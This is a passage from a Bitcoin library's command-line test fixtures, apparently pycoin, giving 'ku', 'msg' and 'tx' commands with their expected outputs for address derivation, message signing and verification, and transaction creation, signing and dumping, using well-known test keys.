xprv9uat5uhfTLHotJ6A9975wtLJbwBqSrER9fbReXdcwBtDNWJX2LWsumZQD3o3ypufv6JxH2k5FdJC4XFR65m3UQEeievrMivEWMyKA2RJswm 6 | xprv9uat5uhfTLHov1KwMTD6t6xTz9vXkDqQEfEmBse3z47Ji3dZYmm2MA4vNHmQyXkN9JKetTW6PCXHVGc5mXSFmZqGrdk1vEGsNG6cLv5NXT8 7 | xprv9uat5uhfTLHozGhPVHrVsL2iVy4uXXfKeDnGzavFzzf2iMFBUu9vSzmBFUoD6frq5o1sYLPocoaWo2xnqeeAHmVXBJ9gf8LypAEftHTc3Bh 8 | xprv9uat5uhfTLHp31Y2AMWndxq7uVH11yQY8neX9SS2A1LmykWBDkWh7Mz2MvfvHeiVR5u99yXuyqhEZKvgKgTpSQCiJmMN6vWy44TAiYnqHMa 9 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/testnet_subkey_addresses.txt: -------------------------------------------------------------------------------- 1 | # testnet subkey addresses 2 | ku -n XLT -s 0/0-2 ttub4XNESS7BCg9c2MhXxffDq3JB8rpDKygicxpXmCtUt83VVnSmm7KcRNkH7CFaymFLU9hDznwk13FxBms3T26JuoBDGAgqr6iyPzYtu7WSNNm -a 3 | n2NgXADFpST7cjjUVKi17hboVKo19MLgj9 4 | mqJWGYKbis64H6kkpZhPUTYGfWGerSwWNY 5 | mw3oJoeemFSWPRaB8n4Ffm4BwYGdtqCt65 6 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/x_decimal_even.txt: -------------------------------------------------------------------------------- 1 | # x, even where x is decimal 2 | ku 55066263022277343669578718895168534326250603453777594175500187360389116729240,even 3 | 4 | input : 550662630222773436695787188951685343262506034537775941755001873603\ 5 | 89116729240,even 6 | network : Bitcoin mainnet 7 | symbol : BTC 8 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 9 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 10 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 11 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 12 | y parity : even 13 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 14 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 15 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 16 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 17 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 18 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 19 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 20 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 21 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 22 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 23 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/x_hex_even.txt: -------------------------------------------------------------------------------- 1 | # x, even where x is hex 2 | ku 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,even 3 | 4 | input : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,even 5 | network : Bitcoin mainnet 6 | symbol : BTC 7 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 8 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 9 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 10 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 11 | y parity : even 12 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 13 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 14 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 15 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 16 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 17 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 18 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 19 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 20 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 21 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 22 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/x_y_decimal.txt: -------------------------------------------------------------------------------- 1 | # x, y where x and y are decimal 2 | ku 55066263022277343669578718895168534326250603453777594175500187360389116729240,32670510020758816978083085130507043184471273380659243275938904335757337482424 3 | 4 | input : 550662630222773436695787188951685343262506034537775941755001873603\ 5 | 89116729240,32670510020758816978083085130507043184471273380659243275938904335757337482424 6 | network : Bitcoin mainnet 7 | symbol : BTC 8 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 9 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 10 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 11 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 12 | y parity : even 13 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 14 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 15 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 16 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 17 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 18 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 19 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 20 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 21 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 22 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 23 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/ku/x_y_hex.txt: -------------------------------------------------------------------------------- 1 | # x, y where x and y are hex 2 | ku 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 3 | 4 | input : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,4\ 5 | 83ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 6 | network : Bitcoin mainnet 7 | symbol : BTC 8 | public pair x : 55066263022277343669578718895168534326250603453777594175500187360389116729240 9 | public pair y : 32670510020758816978083085130507043184471273380659243275938904335757337482424 10 | x as hex : 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 11 | y as hex : 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 12 | y parity : even 13 | key pair as sec : 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 14 | uncompressed : 0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798\ 15 | 483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 16 | hash160 : 751e76e8199196d454941c45d1b3a323f1433bd6 17 | uncompressed : 91b24bf9f5288532960ac687abb035127b1d28a5 18 | Bitcoin address : 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 19 | Bitcoin address uncompressed : 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm 20 | Bitcoin segwit address : bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4 21 | p2sh segwit : 3JvL6Ymt8MVWiCNHC7oWU6nLeHNJKLZGLN 22 | corresponding p2sh script : 0014751e76e8199196d454941c45d1b3a323f1433bd6 23 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/msg/sign.txt: -------------------------------------------------------------------------------- 1 | # sign a message with WIF from ku 1 2 | msg sign KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn -m "this is a test message" 3 | H663gW3HVbbgdqPQ1q/fJhMM9UcywKUHAYcSShKvflr/EI4WPn1ePw6jnw2RlNKtPQYuecQM9OLRZczkgjyZozg= 4 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/msg/simple_verify.txt: -------------------------------------------------------------------------------- 1 | # a test of msg verify 2 | msg verify -m 'this is a test message' H663gW3HVbbgdqPQ1q/fJhMM9UcywKUHAYcSShKvflr/EI4WPn1ePw6jnw2RlNKtPQYuecQM9OLRZczkgjyZozg= 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 3 | signature ok 4 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/msg/verify_without_address.txt: -------------------------------------------------------------------------------- 1 | # a test of msg verify without an input address. Displays matching address on output 2 | msg verify -m 'this is a test message' H663gW3HVbbgdqPQ1q/fJhMM9UcywKUHAYcSShKvflr/EI4WPn1ePw6jnw2RlNKtPQYuecQM9OLRZczkgjyZozg= 3 | 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 4 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/bcash-validate.txt: -------------------------------------------------------------------------------- 1 | tx -n BCH --db 010000000199594b2af0bef98b160033f57d0742dd683e38237203907687be131560985cb6000000006a4730440220017964818de665d2d220332b9ed2004f4fbdfde4caabbe7cb0981e1aa96185670220140533c93a0c894f0fb6d76763cd848918d8fe9cfce1f38533eb7445a34f9014412102167c753224f8592d06e72d178145628e72f735b2ca685b56a2538488c3f81cddffffffff0280c3c901000000001976a9148fa98b7f3d598289c12ab7f40ba9d3cb9d57027888acecbdf6e1010000001976a914e4ce20e9613a34d0b136c153771091f633ea436888ac00000000 0100000001a30639b2f32f75cc9379e52844841deac0a17720fc7ec9ad850812620af3f597000000006b483045022100c0682369bfe59f884c6b8bc55cd292a45f3222a86c60f9735a24cb2ec3f3d71902204b815d0c2c1f8cc665b3807debdd2f9a9cb3c01d94db241f3bdb244da9291e97412103b99852e6299ecb73a818174ca6fc4c93e78f8f926d246fc5b27370d9a956ae4fffffffff018ac2c901000000001976a91414d5dd879f8964e23f8c22e679db4f1b1656b42e88ac00000000 2 | Version: 1 tx hash 4efb0e7701dda83bd5109a0832331a48f459ead2ca793072a20c274a56fb1712 192 bytes 3 | TxIn count: 1; TxOut count: 1 4 | Lock time: 0 (valid anytime) 5 | Input: 6 | 0: 1E6cjct6NSmvFjCRZfWBT4ausvPq5xgLTQ from 97f5f30a62120885adc97efc2077a1c0ea1d844428e57993cc752ff3b23906a3:0 300.00000 mBCH sig ok 7 | Output: 8 | 0: 12uAiTn6bKZsWU6yWCktvijLtDVXzBf5mo receives 299.99754 mBCH 9 | Total input 300.00000 mBCH 10 | Total output 299.99754 mBCH 11 | Total fees 0.00246 mBCH 12 | 0100000001a30639b2f32f75cc9379e52844841deac0a17720fc7ec9ad850812620af3f597000000006b483045022100c0682369bfe59f884c6b8bc55cd292a45f3222a86c60f9735a24cb2ec3f3d71902204b815d0c2c1f8cc665b3807debdd2f9a9cb3c01d94db241f3bdb244da9291e97412103b99852e6299ecb73a818174ca6fc4c93e78f8f926d246fc5b27370d9a956ae4fffffffff018ac2c901000000001976a91414d5dd879f8964e23f8c22e679db4f1b1656b42e88ac00000000 13 | all incoming transaction values validated 14 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/bgold-validate.txt: -------------------------------------------------------------------------------- 1 | tx -n BTG --db 010000000199594b2af0bef98b160033f57d0742dd683e38237203907687be131560985cb6000000006a4730440220017964818de665d2d220332b9ed2004f4fbdfde4caabbe7cb0981e1aa96185670220140533c93a0c894f0fb6d76763cd848918d8fe9cfce1f38533eb7445a34f9014412102167c753224f8592d06e72d178145628e72f735b2ca685b56a2538488c3f81cddffffffff0280c3c901000000001976a9148fa98b7f3d598289c12ab7f40ba9d3cb9d57027888acecbdf6e1010000001976a914e4ce20e9613a34d0b136c153771091f633ea436888ac00000000 0100000001a30639b2f32f75cc9379e52844841deac0a17720fc7ec9ad850812620af3f597000000006b483045022100c0682369bfe59f884c6b8bc55cd292a45f3222a86c60f9735a24cb2ec3f3d71902204b815d0c2c1f8cc665b3807debdd2f9a9cb3c01d94db241f3bdb244da9291e97412103b99852e6299ecb73a818174ca6fc4c93e78f8f926d246fc5b27370d9a956ae4fffffffff018ac2c901000000001976a91414d5dd879f8964e23f8c22e679db4f1b1656b42e88ac00000000 2 | Version: 1 tx hash 4efb0e7701dda83bd5109a0832331a48f459ead2ca793072a20c274a56fb1712 192 bytes 3 | TxIn count: 1; TxOut count: 1 4 | Lock time: 0 (valid anytime) 5 | Input: 6 | 0: GWwY9kD3MJPDLCViVcAHspvoo6Bg941q5y from 97f5f30a62120885adc97efc2077a1c0ea1d844428e57993cc752ff3b23906a3:0 300.00000 mBTG BAD SIG 7 | Output: 8 | 0: GKk68b73aBBAawQGS9R1MV5EoPHP1UUvNc receives 299.99754 mBTG 9 | Total input 300.00000 mBTG 10 | Total output 299.99754 mBTG 11 | Total fees 0.00246 mBTG 12 | including unspents in hex dump since transaction not fully signed 13 | 0100000001a30639b2f32f75cc9379e52844841deac0a17720fc7ec9ad850812620af3f597000000006b483045022100c0682369bfe59f884c6b8bc55cd292a45f3222a86c60f9735a24cb2ec3f3d71902204b815d0c2c1f8cc665b3807debdd2f9a9cb3c01d94db241f3bdb244da9291e97412103b99852e6299ecb73a818174ca6fc4c93e78f8f926d246fc5b27370d9a956ae4fffffffff018ac2c901000000001976a91414d5dd879f8964e23f8c22e679db4f1b1656b42e88ac0000000080c3c901000000001976a9148fa98b7f3d598289c12ab7f40ba9d3cb9d57027888ac 14 | all incoming transaction values validated 15 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/create_dump_sign.txt: -------------------------------------------------------------------------------- 1 | # dump a signed transaction 2 | tx --db 01000000012627ad000cfc48ee98706a36f9797f902763810637f1eef1cfdff13c7a3828b70000000049483045022100a9d50050fea1b8f11af9e9e44ede1836c7058dc8bf7da0dc2a7e0de0664468db02205c45d639f8c56c022026736f2de00bee54a13fdb6edc05cd124125f12df55d2601ffffffff025e90f104000000001976a914eaa180de2736c0d66ff227638e09e5851443b0c888ac80969800000000001976a914cf4b453f9ff10b122d4195fe54629cc194f6bbaa88ac00000000 --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a 3 | Version: 1 tx hash d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a 259 bytes 4 | TxIn count: 1; TxOut count: 2 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1NPcbLkfWU1vFYHBG4i3XB4uQaj4P7PHr2 from 985b88cf89926f5e7595fe71a29990ff569ecbb328163ec41bca9b862a09b035:0 829.39998 mBTC sig ok 8 | Outputs: 9 | 0: 1FBbCJSHrcAwuyEvgjZPpHP8jGAbiCPitz receives 705.94320 mBTC 10 | 1: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm receives 123.45678 mBTC 11 | Total input 829.39998 mBTC 12 | Total output 829.39998 mBTC 13 | Total fees 0.00000 mBTC 14 | 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/create_dump_unsigned.txt: -------------------------------------------------------------------------------- 1 | # create a transaction and dump it. Unsigned. 2 | tx 0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098/0/410496b538e853519c726a2c91e61ec11600ae1390813a627c66fb8be7947be63c52da7589379515d4e0a604f8141781e62294721166bf621e73a82cbf2342c858eeac/5000000000 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T -o tx.bin ; tx --db 01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff0704ffff001d0104ffffffff0100f2052a0100000043410496b538e853519c726a2c91e61ec11600ae1390813a627c66fb8be7947be63c52da7589379515d4e0a604f8141781e62294721166bf621e73a82cbf2342c858eeac00000000 tx.bin 3 | Version: 1 tx hash 3d36aed60ecb311a55a6329f5c2af785f06e147fc35b7678eb798eca7f603c83 85 bytes 4 | TxIn count: 1; TxOut count: 1 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX from 0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098:0 50000.00000 mBTC BAD SIG 8 | Output: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 49999.90000 mBTC 10 | Total input 50000.00000 mBTC 11 | Total output 49999.90000 mBTC 12 | Total fees 0.10000 mBTC 13 | including unspents in hex dump since transaction not fully signed 14 | 0100000001982051fd1e4ba744bbbe680e1fee14677ba1a3c3540bf7b1cdb606e857233e0e0000000000ffffffff01f0ca052a010000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac0000000000f2052a0100000043410496b538e853519c726a2c91e61ec11600ae1390813a627c66fb8be7947be63c52da7589379515d4e0a604f8141781e62294721166bf621e73a82cbf2342c858eeac 15 | all incoming transaction values validated 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/create_sign_tx.txt: -------------------------------------------------------------------------------- 1 | # sign a transaction 2 | tx d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T -o tx.bin ; tx tx.bin KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn -o signed_tx.hex ; tx --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 -a signed_tx.hex 3 | Version: 1 tx hash 0995cf6f55e1cf22f7c31f5ad52d111e897b0b9b7e37a1bb755a470324b4a2c4 224 bytes 4 | TxIn count: 1; TxOut count: 1 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: 1EHNa6Q4Jz2uvNExL497mE43ikXhwF6kZm from d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a:1 123.45678 mBTC sig ok 8 | Output: 9 | 0: 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T receives 123.35678 mBTC 10 | Total input 123.45678 mBTC 11 | Total output 123.35678 mBTC 12 | Total fees 0.10000 mBTC 13 | 01000000012a6ca22af83bc447f74b1f475c9bd2e99ccef7347144572a9de5bcf5a5a21ad6010000008b48304502210084fd73b302520381dea1885efda58bc446653998864db7a2cd04906fc6d5536302206325303c8e50f84d25c95eff2849441382d4aafb2f678f636a6d164b721bf0f101410479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8ffffffff013e3abc00000000001976a914cd5dc792f0abb0aa8ba4ca36c9fe5eda8e495ff988ac00000000 14 | all incoming transaction values validated 15 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/dump_coinbase_tx.txt: -------------------------------------------------------------------------------- 1 | # dump a coinbase 2 | tx 01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff0704ffff001d0104ffffffff0100f2052a0100000043410496b538e853519c726a2c91e61ec11600ae1390813a627c66fb8be7947be63c52da7589379515d4e0a604f8141781e62294721166bf621e73a82cbf2342c858eeac00000000 3 | Version: 1 tx hash 0e3e2357e806b6cdb1f70b54c3a3a17b6714ee1f0e68bebb44a74b1efd512098 134 bytes 4 | TxIn count: 1; TxOut count: 1 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: COINBASE 50000.00000 mBTC 8 | Output: 9 | 0: 12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX receives 50000.00000 mBTC 10 | Total input 50000.00000 mBTC 11 | Total output 50000.00000 mBTC 12 | Total fees 0.00000 mBTC 13 | 01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff0704ffff001d0104ffffffff0100f2052a0100000043410496b538e853519c726a2c91e61ec11600ae1390813a627c66fb8be7947be63c52da7589379515d4e0a604f8141781e62294721166bf621e73a82cbf2342c858eeac00000000 14 | all incoming transaction values validated 15 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/dump_lock_time.txt: -------------------------------------------------------------------------------- 1 | # transaction with a lock time 2 | tx 01000000000102fff7f7881a8099afa6940d42d1e7f6362bec38171ea3edf433541db4e4ad969f00000000494830450221008b9d1dc26ba6a9cb62127b02742fa9d754cd3bebf337f7a55d114c8e5cdd30be022040529b194ba3f9281a99f2b1c0a19c0489bc22ede944ccf4ecbab4cc618ef3ed01eeffffffef51e1b804cc89d182d279655c3aa89e815b1b309fe287d9b2b55d57b90ec68a0100000000ffffffff02202cb206000000001976a9148280b37df378db99f66f85c95a783a76ac7a6d5988ac9093510d000000001976a9143bde42dbee7e4dbe6a21b2d50ce2f0167faa815988ac000247304402203609e17b84f6a7d30c80bfa610b5b4542f32a8a0d5447a12fb1366d7f01cc44a0220573a954c4518331561406f90300e8f3358f51928d43c212a8caed02de67eebee0121025476c2e83188368da1ff3e292e7acafcdb3566bb0ad253f62fc70f07aeee635711000000 3 | Version: 1 tx hash e8151a2af31c368a35053ddd4bdb285a8595c769a3ad83e0fa02314a602d4609 343 bytes 4 | segwit tx hash c36c38370907df2324d9ce9d149d191192f338b37665a82e78e76a12c909b762 5 | TxIn count: 2; TxOut count: 2 6 | Lock time: 17 (valid after block index 17) 7 | Inputs: 8 | 0: (unknown) from 9f96ade4b41d5433f4eda31e1738ec2b36f6e7d1420d94a6af99801a88f7f7ff:0 9 | 1: (unknown) from 8ac60eb9575db5b2d987e29f301b5b819ea83a5c6579d282d189cc04b8e151ef:1 10 | Outputs: 11 | 0: 1Cu32FVupVCgHkMMRJdYJugxwo2Aprgk7H receives 1123.40000 mBTC 12 | 1: 16TZ8J6Q5iZKBWizWzFAYnrsaox5Z5aBRV receives 2234.50000 mBTC 13 | Total output 3357.90000 mBTC 14 | including unspents in hex dump since transaction not fully signed 15 | 01000000000102fff7f7881a8099afa6940d42d1e7f6362bec38171ea3edf433541db4e4ad969f00000000494830450221008b9d1dc26ba6a9cb62127b02742fa9d754cd3bebf337f7a55d114c8e5cdd30be022040529b194ba3f9281a99f2b1c0a19c0489bc22ede944ccf4ecbab4cc618ef3ed01eeffffffef51e1b804cc89d182d279655c3aa89e815b1b309fe287d9b2b55d57b90ec68a0100000000ffffffff02202cb206000000001976a9148280b37df378db99f66f85c95a783a76ac7a6d5988ac9093510d000000001976a9143bde42dbee7e4dbe6a21b2d50ce2f0167faa815988ac000247304402203609e17b84f6a7d30c80bfa610b5b4542f32a8a0d5447a12fb1366d7f01cc44a0220573a954c4518331561406f90300e8f3358f51928d43c212a8caed02de67eebee0121025476c2e83188368da1ff3e292e7acafcdb3566bb0ad253f62fc70f07aeee635711000000 16 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/dump_secs.txt: -------------------------------------------------------------------------------- 1 | # dump secs 2 | tx --dump-secs KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 01000000019c12cfdc04c74584d787ac3d23772132c18524bc7ab28dec4219b8fc5b425f700000000000ffffffff01e8030000000000001976a91406afd46bcdfd22ef94ac122aa11f241244a37ecc88ac00000000e8030000000000002200203f4ae1eb3e75f3578491811d27eb59e23a512cf90c73b13c6acd4499f7c4d28b -p 76a914751e76e8199196d454941c45d1b3a323f1433bd688ac 3 | SECS 4 | 0279be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 5 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/dump_signatures.txt: -------------------------------------------------------------------------------- 1 | # dump signatures 2 | tx --dump-signatures KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 01000000019c12cfdc04c74584d787ac3d23772132c18524bc7ab28dec4219b8fc5b425f700000000000ffffffff01e8030000000000001976a91406afd46bcdfd22ef94ac122aa11f241244a37ecc88ac00000000e8030000000000002200203f4ae1eb3e75f3578491811d27eb59e23a512cf90c73b13c6acd4499f7c4d28b -p 76a914751e76e8199196d454941c45d1b3a323f1433bd688ac 3 | SIGNATURES 4 | 304402202ccb8177e8c45ffacf354c2b86dfe00022330f43a58675b378e695aeb44a8a9d02205b981a4ab1a3d7dc4286a4852b134af14abd9dff030cbd2683ef8497e26046bd01 5 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/dump_tx.txt: -------------------------------------------------------------------------------- 1 | # dump a regular transaction 2 | tx 010000000141045e0ab2b0b82cdefaf9e9a8ca9ec9df17673d6a74e274d0c73ae77d3f131e000000004a493046022100a7f26eda874931999c90f87f01ff1ffc76bcd058fe16137e0e63fdb6a35c2d78022100a61e9199238eb73f07c8f209504c84b80f03e30ed8169edd44f80ed17ddf451901ffffffff010010a5d4e80000001976a9147ec1003336542cae8bded8909cdd6b5e48ba0ab688ac00000000 3 | Version: 1 tx hash 49d2adb6e476fa46d8357babf78b1b501fd39e177ac7833124b3f67b17c40c2a 159 bytes 4 | TxIn count: 1; TxOut count: 1 5 | Lock time: 0 (valid anytime) 6 | Input: 7 | 0: (unknown) from 1e133f7de73ac7d074e2746a3d6717dfc99ecaa8e9f9fade2cb8b0b20a5e0441:0 8 | Output: 9 | 0: 1CZDM6oTttND6WPdt3D6bydo7DYKzd9Qik receives 10000000.00000 mBTC 10 | Total output 10000000.00000 mBTC 11 | including unspents in hex dump since transaction not fully signed 12 | 010000000141045e0ab2b0b82cdefaf9e9a8ca9ec9df17673d6a74e274d0c73ae77d3f131e000000004a493046022100a7f26eda874931999c90f87f01ff1ffc76bcd058fe16137e0e63fdb6a35c2d78022100a61e9199238eb73f07c8f209504c84b80f03e30ed8169edd44f80ed17ddf451901ffffffff010010a5d4e80000001976a9147ec1003336542cae8bded8909cdd6b5e48ba0ab688ac00000000 13 | -------------------------------------------------------------------------------- /tests/cmds/test_cases/tx/dump_unspents.txt: -------------------------------------------------------------------------------- 1 | # dump unspents 2 | tx -u --db 010000000135b0092a869bca1bc43e1628b3cb9e56ff9099a271fe95755e6f9289cf885b98000000008c4930460221008342b7eee70400acfed8d68be5aa8a6aeb06d7a2b3aef1fab7e4c1e46391efc6022100c0f86ba04f9a43c0d7fc8ab4cf9f3292989d3067f9b04e013c4a96bee87d5e1c014104dbedbe0028b3cbf362cad654c3b3e0902f65004691fa1332e94a31202ff06f4f7e67bd57d278c6a40b1915feb3bfb6850ca3750456e4c9af9db3d57a22b65323ffffffff02102f3504000000001976a9149b92770a85b1252448ec69900e77f1371d6a620188ac4e61bc00000000001976a91491b24bf9f5288532960ac687abb035127b1d28a588ac00000000 d61aa2a5f5bce59d2a57447134f7ce9ce9d29b5c471f4bf747c43bf82aa26c2a/1/76a91491b24bf9f5288532960ac687abb035127b1d28a588ac/12345678 KwDiBf89QgGbjEhKnhXJuH7LrciVrZi3qYjgd9M7rFU73sVHnoWn 1KissFDVu2wAYWPRm4UGh5ZCDU9sE9an8T 1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH 1cMh228HTCiwS8ZsaakH8A8wze1JR5ZsP 3 | 